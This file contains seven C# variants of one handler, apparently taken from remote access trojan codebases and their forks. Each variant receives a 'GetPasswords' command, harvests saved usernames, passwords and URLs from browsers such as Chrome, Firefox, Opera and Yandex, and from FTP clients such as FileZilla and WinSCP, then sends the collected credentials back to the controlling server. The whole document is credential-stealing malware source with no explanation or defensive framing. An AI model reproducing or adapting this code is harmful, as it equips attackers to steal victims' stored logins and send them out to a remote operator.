public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(Edge.GetPasswords()); recovered.AddRange(Outlook.GetSavedPasswords()); recovered.AddRange(Thunderbird.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); raw.Add(rawValue); } new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client); }
public static void HandleGetPasswords(Packets.ServerPackets.GetPasswords packet, Client client) { var recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); var raw = new List <string>(); for (var i = 0; i < recovered.Count; i++) { var value = recovered[i]; var rawValue = string.Format($"{value.Username}" + $"{DELIMITER}" + $"{value.Password}" + $"{DELIMITER}" + $"{value.URL}" + $"{DELIMITER}" + $"{value.Application}"); raw.Add(rawValue); } new Packets.ClientPackets.GetPasswordsResponse(raw).Execute(client); }
public static void HandleGetPasswords(GetPasswords packet, Networking.Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); }
private void Execute(ISender client, GetPasswords message) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); client.Send(new GetPasswordsResponse { RecoveredAccounts = recovered }); }
public static void getPasswords(GetPasswords packet, ClientMosaique client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.username, value.password, value.URL, value.application, DELIMITER); raw.Add(rawValue); } new GetPasswordsResponse(raw).Execute(client); }
public static void HandleGetPasswords(Paketler.ServerPaketleri.GetPasswords packet, Client client) { List <KurtarılanHesaplar> recovered = new List <KurtarılanHesaplar>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (KurtarılanHesaplar value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.Url, value.Application, Antilimiter); raw.Add(rawValue); } new Paketler.ClientPaketleri.GetPasswordsResponse(raw).Execute(client); }
public static void HandleGetPasswords(GetPasswords packet, Client client) { List <RecoveredAccount> recovered = new List <RecoveredAccount>(); recovered.AddRange(Chrome.GetSavedPasswords()); recovered.AddRange(Opera.GetSavedPasswords()); recovered.AddRange(Yandex.GetSavedPasswords()); recovered.AddRange(InternetExplorer.GetSavedPasswords()); recovered.AddRange(Firefox.GetSavedPasswords()); recovered.AddRange(FileZilla.GetSavedPasswords()); recovered.AddRange(WinSCP.GetSavedPasswords()); List <string> raw = new List <string>(); foreach (RecoveredAccount value in recovered) { string rawValue = string.Format("{0}{4}{1}{4}{2}{4}{3}", value.Username, value.Password, value.URL, value.Application, DELIMITER); raw.Add(rawValue); } client.Send(new GetPasswordsResponse { Passwords = raw }); }